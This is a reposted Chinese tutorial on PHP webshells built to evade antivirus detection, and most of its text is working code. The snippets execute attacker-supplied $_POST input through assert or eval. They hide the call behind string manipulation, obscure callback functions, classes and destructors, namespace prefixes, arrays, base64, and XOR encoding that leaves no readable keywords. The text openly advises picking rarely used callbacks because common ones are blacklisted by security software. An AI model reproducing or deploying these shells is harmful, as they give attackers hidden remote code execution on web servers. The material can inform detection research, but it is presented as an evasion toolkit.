php免殺webshell


原文地址:https://xz.aliyun.com/t/5152?spm=5176.12901015.0.i12901015.3268525cyJqgGL

eval函數中參數是字符 eval('echo 1;'); 
assert函數中參數為表達式 (或者為函數)assert(phpinfo()); assert不能執行普通代碼

字符串變形

 1 ucwords() //函數把字符串中每個單詞的首字符轉換為大寫。
 2 ucfirst() //函數把字符串中的首字符轉換為大寫。
 3 trim() //函數從字符串的兩端刪除空白字符和其他預定義字符。
 4 substr_replace() //函數把字符串的一部分替換為另一個字符串
 5 substr() //函數返回字符串的一部分。
 6 strtr() //函數轉換字符串中特定的字符。
 7 strtoupper() //函數把字符串轉換為大寫。
 8 strtolower() //函數把字符串轉換為小寫。
 9 strtok() //函數把字符串分割為更小的字符串
10 str_rot13() //函數對字符串執行 ROT13 編碼。

例如

1 <?php
2 $a = substr_replace("assexx","rt",4);
3 $a($_POST['x']);
4 ?>

定義函數繞過

1 <?php 
2 function kdog($a){
3     $a($_POST['x']);
4 }
5 kdog(assert);
6 ?>

反過來

1 <?php 
2 function kdog($a){
3     assert($a);
4 }
5 kdog($_POST[x]);
6 ?>

回調函數

 1 call_user_func_array()
 2 call_user_func()
 3 array_filter() 
 4 array_walk()  
 5 array_map()
 6 registregister_shutdown_function()
 7 register_tick_function()
 8 filter_var() 
 9 filter_var_array() 
10 uasort() 
11 uksort() 
12 array_reduce()
13 array_walk() 
14 array_walk_recursive()

回調函數大部分已經被安全軟件加入黑名單,所以找到一個生僻的不常用的回調函數來執行,例如

 <?php forward_static_call_array(assert,array($_POST[x]));?> 

回調函數變形

定義一個函數

1 <?php
2 function test($a,$b){
3     array_map($a,$b);
4 }
5 test(assert,array($_POST['x']));
6 ?>

定義一個類

 1 <?php
 2 class loveme {
 3     var $a;
 4     var $b;
 5     function __construct($a,$b) {
 6         $this->a=$a;
 7         $this->b=$b;
 8     }
 9     function test() {
10        array_map($this->a,$this->b);
11     }
12 }
13 $p1=new loveme(assert,array($_POST['x']));
14 $p1->test();
15 ?>

字符干擾

1 <?php
2 $a = $_POST['a'];
3 $b = "\n";
4 eval($b.=$a);
5 ?>

命名空間免殺

1 <?php
2 function dog($a){
3     \assert($a);
4 }
5 dog($_POST[x]);
6 ?>

數組

1 <?php
2 $a = substr_replace("assexx","rt",4);
3 $b=[''=>$a($_POST['q'])];
4 ?>

多維數組

1 <?php
2 $b = substr_replace("assexx","rt",4);
3 $a = array($arrayName = array('a' => $b($_POST['q'])));
4 ?>

搭配魔術方法比如 __destruct()__construct()

 1 <?php 
 2 
 3 class me
 4 {
 5   public $a = '';
 6   function __destruct(){
 7 
 8     assert("$this->a");
 9   }
10 }
11 
12 $b = new me;
13 $b->a = $_POST['x'];
14 
15 ?>

編碼繞過

base64_decode

1 <?php
2 $a = base64_decode("YXNz+ZX____J____0");
3 $a($_POST[x]);
4 ?>

異或

1 <?php
2 $a= ("!"^"@").'ssert';
3 $a($_POST[x]);
4 ?>

無字符特征馬

異或,編碼方式

1 <?php
2 $_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); // $_='assert';
3 $__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); // $__='_POST';
4 $___=$$__;
5 $_($___[_]); // assert($_POST[_]);

利用正則匹配字符 如Tab等 然后轉換為字符

利用POST包獲取關鍵參數執行

1 <?php
2 $decrpt = $_POST['x'];
3 $arrs = explode("|", $decrpt)[1];
4 $arrs = explode("|", base64_decode($arrs));
5 call_user_func($arrs[0],$arrs[1]);
6 ?>

在php7.1后面我們已經不能使用強大的assert函數了用eval將更加注重特殊的調用方法和一些字符干擾,后期大家可能更加傾向使用大馬

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM